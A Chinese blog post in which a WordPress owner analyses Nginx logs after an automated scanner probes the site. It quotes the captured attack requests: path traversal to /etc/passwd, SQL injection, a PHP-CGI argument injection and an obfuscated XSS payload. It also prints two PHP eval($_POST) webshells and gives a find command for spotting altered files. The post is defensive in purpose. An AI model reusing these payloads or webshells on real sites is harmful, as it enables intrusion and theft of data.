博客被疑似自动化黑客工具攻击

!本文可能 超过1年没有更新,今后内容也许不会被维护或者支持,部分内容可能具有时效性,涉及技术细节或者软件使用方面,本人不保证相应的兼容和可操作性。

就在刚才收到了WordPress的Login Lock报警邮件,IP地址为118.192.35.178尝试登录博客后台失败多次,并且IP地址已经被阻止,所尝试的用户名为88888\’。

顿觉奇怪,心想不会谁无聊蛋疼到想去通过程序漏洞尝试黑WP吧,至少WP有这么多朋友使用,加上官方强有力的支持,安全性还是有保障的。于是尝试搜索这个IP地址,果然被我找到了一些痕迹,主要是一些留言和评论板,基本上都是用户名为88888内容为空,或者用户名和内容都是88888。到这里,我心里稍稍有了点底,至少可以判断是自动化程序自动攻击的,然后看到那么多网站的帖子都有88888的痕迹,再推断是不是自动发贴机在作怪,就像WP里屡禁不止的垃圾评论一样,但是想想奇怪的是我垃圾评论里没有收到该IP类似的帖子,看来不仅仅是这么简单。

登录服务器,使用下面的命令导出和该IP相关的Nginx访问日志。

cd /var/log/nginx
cat *.log | grep 118.192.35.178 > /tmp/attack.log
cd /tmp
more attack.log

看来内容有不少,文件size大概为11KB左右,仔细审查内容,发现从2012/05/06 18:06:57登录首页并尝试获取robots.txt开始,到2012/05/06 19:18:39日志结束,该IP客户端尝试了各种各样的攻击手段,包括寻找已知后门到SQL注入攻击再到最近比较热闹的PHP CGI执行参数的漏洞,甚至还有自动寻找指定CMS程序漏洞,WordPress插件漏洞的功能。可谓是包罗万象,市面上有的WEB攻击基本上都全了,当然从时间分布来看是全自动执行的,不得不佩服制作这个攻击程序的大牛。

下面摘抄日志中发现的几段比较经典的攻击方式:

request: "GET /blog/about/index.php?case=../../../../../../../../../../../../../../../../etc/passwd%00 HTTP/1.0"
referrer: "' AND (SELECT 1698 FROM(SELECT COUNT(*),CONCAT(CHAR(58,119,115,51,58),(SELECT MID((IFNULL(CAST(schema_name AS CHAR),CHAR(32))),1,50) FROM information_schema.SCHEMATA LIMIT 0,1),CHAR(58,119,115,51,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'a'='a"
request: "GET /blog/about/member/ajax_membergroup.php?action=post&membergroup=@%60'%60%20Union%20select%20concat(0x3336307765627363616e,pwd,0x7c)%20from%20%60%23@__admin%60%20where%201%20or%20id=@%60'%60 HTTP/1.0"
request: "GET /blog/about/index.php?-dauto_prepend_file%3d/etc/passwd+-n HTTP/1.0"
request: "GET /blog/about/dede/login.php?gotopage=%22%3E%3Cscript%3Eeval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))%3C/script%3E%3Cx=%22 HTTP/1.0"

经典的还有很多,限于篇幅我就不一一介绍了。

好了,检查了下服务器,发现没有什么损失,再更新升级了一下,应该没有什么问题了。大家要及时关注最近安全公告有条件的要及时升级服务器哦,最近安全攻击事件还是有不少的,几天前论坛有网友指出其PHP页面被插入形如下面的可疑代码:

<?php $a=$_POST[f];echo eval($a);echo "^^"; ?>
 
<title>login</title>nono<?php
 
eval
 ($_POST
 [1])
 
?>

其实这已经是非常经典的PHP小马了,其中eval可以执行任何被POST的数据,包括黑客自定义的PHP代码,有点类似于ASP的一句话木马EXECUTE(REQUEST(“c”))。

另外提供一个简单查找24小时内被修改过的PHP文件命令,用于检查PHP文件是否被注入后门恶意代码,其中./表示要搜索的目录,这里是当前目录,-mtime后面的0表示24小时内修改过的时间单位,英文解释为-mtime n: Files data was last modified n*24 hours ago,如果要返回前48~24小时修改过的文件,而不是48小时以内修改过的文件,直接使用-mtime 1作为参数即可。

find ./ -mtime 0 | grep '\.php$'

搜索出的结果仅供参考,请谨慎判断。

若无特别说明,本网站文章均为原创,原则上这些文章不允许转载,但是如果阁下是出于研究学习目的可以转载到阁下的个人博客或者主页,转载遵循创作共同性“署名-非商业性使用-相同方式共享”原则,请转载时注明作者出处谢绝商业性、非署名、采集站、垃圾站或者纯粹为了流量的转载。谢谢合作!

  1. PHP CGI执行参数的漏洞
    这个市面上来说,存在的很少了吧。
    以前我的博客也被类似自动注入工具盯上过,我看记录是每隔一个星期左右,有半个小时的攻击,但没什么影响。

    呵呵,跟你学点linux命令.

    • 最近PHP-CGI的参数漏洞搞的比较热闹,不过不用PHP-CGI方式执行php,可以不用在乎这个问题了。
      现在的黑客工具自动化程度蛮高的,确实降低了黑站的门槛提升了hack效率,Linux一直运行蛮稳定的,一般情况下日志我也懒得去看,正好今天触发了邮件报警,提醒我是时候折腾Linux了,于是去翻阅日志。Linux命令确实包罗万象,我也在学,正好上次看到了grep,这次拿来练手,总之,Linux乐在折腾嘛,嘿嘿~

请稍后...

发表评论

电子邮件地址不会被公开。 必填项已用*标注

*